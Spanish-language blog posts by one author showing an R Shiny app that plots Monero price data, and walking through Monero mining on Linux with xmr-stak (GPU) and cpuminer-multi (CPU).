Ya dentro del ambiente R, sin importar nuestro sistmema operativo, podemos instalar Shiny con

install.packages(«shiny»)

Ahora vamos a crear. Imaginemos una App para iniciar el estudio predictivo de una criptomoneda. Descargamos y obtenemos los datos a partir de https://coinmetrics.io/community-network-data/ de Monero en dólares. Abrimos el archivo .csv y vemos las primeras 5 filas.

setwd(«~/Downloads»)

data<-read.csv(«XMR-USD.csv»)
head (data)

Imaginemos una App donde podamos analizar a las series temporales de variables de mercado para Monero, esas que vemos en la data.

Instalemos ggplot2, una librería que nos permitirá graficar facilmente y muy elegantemente.

install.packages(«ggplot2»)

Si quieres llevarla a cabo, en RStudio, ve a File, New File, Shiny Web App. Pega el siguiente código en el script y dale a runApp. Puedes ver la aplicación ya lista en https://rodlupanow.shinyapps.io/Monero/

#Descarga las librerías necesarias

library(shiny)
library(ggplot2)

#Busca la data disponible en el link del post y leela

data<-read.csv(«XMR-USD.csv»)

#Generamos un espacio web sencillo
ui <- fluidPage(

# Título
titlePanel(«Serie temporal para variables de mercado de la criptomoneda Monero»),
h5(«Creador: Rodrigo Díaz Lupanow»),

# Barra para manipular la escala temporal a observar
sidebarLayout(
sidebarPanel(
sliderInput(«bins»,
«Tiempo (Días desde 29 de Enero 2015 hasta 15 de Junio 2018):»,
min = 1,
max = nrow(data),
value =c(1,nrow(data) )),
#panel de opción para variable dependiente
selectizeInput(«selection», «Variable de mercado:»,selected = «Open»,
choices = colnames(data[,-1]))
),
# Creamos el espacio en la página para la gráfica
mainPanel(
plotOutput(«Plot»),
h5(«Dirección Monero: 45YgkhGVzYjHSHs5LKpuK1b8Qzt8New

BBQEGAM94MdzPabGCCeKxrT85d6UVGqav5r

aJwgKNQkn47chLVuoZ6taK4t7h7Ah»)
)))

# Definimos el servidor, quien dirá que se hace con los datos que hemos proporcionado
server <- function(input, output) {

#ahora generamos el output teniendo en cuenta la reactividad definida arriba
output$Plot <- renderPlot({
a<-input$bins[1];b<-input$bins[2]
d<-data[,input$selection]
c<-ggplot(aes(x=c(a:b),y=d[a:b]), data=data[a:b,])
c+geom_point() +geom_smooth()+xlab(«Tiempo (Días desde el 29 de Enero 2015)»)+
ylab(«Valor en dólares americanos»)
})}

# Corremos la app
shinyApp(ui = ui, server = server)

 

Se trata dede una sencilla aplicación con un par de opciones de interactividad. Sí se te ocurre alguna idea que te gustaría que desarrollase con respecto a esta data, déjala en la caja de comentarios al final.

En otra entrega, aplicaremos algoritmos de Aprendizaje Automatizado o Machine Learning  para tratar de predecir el precio de Monero e invertir en función de tal. Mantente conectado que pronto estará.

Si necesitas la versión actualizada, ponte en contacto conmigo para desarrollar alguna idea. Saludos !! 

Gracias por leer!!

Minería de criptomonedas ligeras con GPU Nvidia en Ubuntu 16.04

En un post anterior ya minamos Monero con CPU en diferentes sistemas Linux. Ahora vamos a utilizar nuestra tarjeta gráfica para aumentar la velocidad de minado bajo un sistema operativo Linux Ubuntu 16.04.

Se resalta que mientras ejecutemos el pograma, veremos mermado el desempeño gráfico de nuestro ordenador, por lo que se recomienda no correr el programa cuando se quieran realizar otras operaciones. Por último, el uso excesivo de estas técnicas podría a la larga afectar al computador, pero bajo condiciones normales no debería haber ningun problema. Aquí un link en inglés al respecto: https://www.quora.com/Can-mining-cryptocurrencies-with-CPU-and-GPU-damage-my-computer

Primero que nada es necesario instalar los drivers de nuestra tarjeta gráfica Nvidia. Te dejo un link en inglés al respecto: https://www.youtube.com/watch?v=PeWTSprpq1M

Posteriormente descarga el Toolkit CUDA y sigue las instrucciones.

Listos para la terminal:

sudo apt install libmicrohttpd-dev libssl-dev cmake build-essential libhwloc-dev

    Utiliza el comando git para clonar el programa en internet.
Crea un directorio y luego accede al mismo
mkdir xmr-stak/build
cd xmr-stak/build
 Utiliza el comando cmake con los parámetro de tarjeta AMD. En estos casos informamos que minaremos con tarjeta Nvidia y CPU.
cmake .. -DOpenCL_ENABLE=OF
Listos para instalar!!
make install
Vamos al directorio donde se encuentra el programa /home/user/xmr-stak/build/bin. Si es necesario, sigue las recomendaciones del terminal para instalar ccmake.
  ccmake ..
En la ventana abierta podemos editar ciertos parámetros avanzados.
Reiniciamos el equipo y ya estamos listos para minar, simplemente debemos estar en la carpeta /xmr-stak/build/bin y correr el siguiente comando:
cd xmr-stak/build/bin
./xmr-stak
Muchas gracias por leer. Si tienes preguntas las espero con gusto. Saludos.
** Al correr el programa se deben responder una serie de preguntas. Se coloca 0 en la primera, se le informa que la moneda a utilizar sera la monero7. Se le agrega la dirección Monero (si no tienes una dirigete a mymonero.com) y el puerto (para maquinas no tan recientes 4444, para las recientes 7777.  Para la dirección del Pool monero, se puede googlear diferentes opciones de pools con sus ventajas y desventajas. Las respuestas sobre pool múltiples y sobre utilizar Nicehash se responde N.
Autor: Rodrigo Díaz Lupanow

Minería de criptomonedas con CPU en Linux

Para aquellos que deseen adentrarse en el fascinante mundo de las criptomonedas, la minería de las mismas sirve de primer paso práctico y, ¿Por qué no? generar algunos ingresos extra. Sin embargo, la inversión monetaria inicial supone un obstaculo para la mayoría de nosotros. En mi caso, vivo en Venezuela y la electricidad es casi gratuita, por lo que probar ésta ya famosa manera de generar criptomonedas, en un país con dificil acceso a divisas internacionales, parece algo irresistible. Para mí es un experimento que me dará acceso a una pequeña cantidad de cripmonedas con la cual pretendo iniciarme en el mercado, pero eso dejémoslo para después, ahora, a minar!!!

En este post pretendo compartir el código que me ha funcionado en Sistemas Operativos Linux Ubuntu (desde versión 12.04 a 18.04) y Lubuntu 17.1.  Me ha funcionado en procesadores Pentium 4, Celeron (dos tipos distintos) e Intel E7500.

Abrimos la terminal y comenzamos:

git clone https://github.com/tpruvot/cpuminer-multi

Descargamos el programa utilizando git, en algunos casos será necesario instalar git con el comando sudo apt-get install git

sudo apt-get install automake autoconf pkg-config libcurl4-openssl-dev libjansson-dev libssl-dev libgmp-dev make g++

Instalamos una serie de paquetes necesarios para la compilación del programa.

cd cpuminer-multi

Vamos a la carpeta creada por el programa.

./build.sh

sudo make install

Compilamos e instalamos.

Luego de todo esto ¡¡ estamos listos!!  Nos falta ejecutar el programa con la información de: numero de threats (generalmente número de procesadores), la dirección del pool donde vamos a minar junto el puerto que usaremos y por último, la cuenta Monero donde llegarán los ingresos. Si no tienes una cuenta Monero, puedes abrirla en mymonero.com

cpuminer -t 2 -a cryptonight -o stratum+tcp://pool.minexmr.com:4444 -u 45YgkhGVzYjHSHs5LKpuK1b8Qzt8NewBBQEGAM94MdzPabGCCeKxrT85d6UVGqav5raJwgKNQkn47chLVuoZ6taK4t7h7Ah.2 -p x

Espero que te funcione. Saludos.

Te dejo un pantallazo del programa corriendo en la Intel E7500 .

Autor: Rodrigo Díaz Lupanow

Screenshot from 2018-07-26 21:38:28